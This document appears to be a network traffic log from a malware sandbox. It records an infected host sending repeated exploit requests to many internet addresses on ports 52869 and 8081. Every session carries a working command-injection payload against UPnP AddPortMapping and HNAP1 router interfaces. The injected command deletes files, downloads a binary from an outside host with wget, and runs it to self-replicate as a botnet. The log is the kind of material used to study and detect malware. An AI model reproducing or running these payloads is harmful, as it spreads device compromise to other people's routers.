Jul 20, 2024 23:10:39.192692041 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.15	34640	211.42.169.91	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.196094990 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.15	38462	37.21.17.204	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.198702097 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.15	41184	67.65.153.119	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.202222109 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.15	39438	108.128.208.18	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.205184937 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.15	43862	101.137.132.47	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.244255066 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.15	51404	104.126.44.136	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.383137941 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.15	52158	140.139.225.140	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.383936882 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.15	52008	23.244.107.142	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.387844086 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf bulol; wget http://15.235.203.214/bolonetwork.x86 -O bulol; chmod 777 bulol; ./bulol selfrep.rt`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.15	45682	201.218.238.1	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.389624119 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.15	57164	91.159.64.203	52869

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:10:39.391618013 CEST	989	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 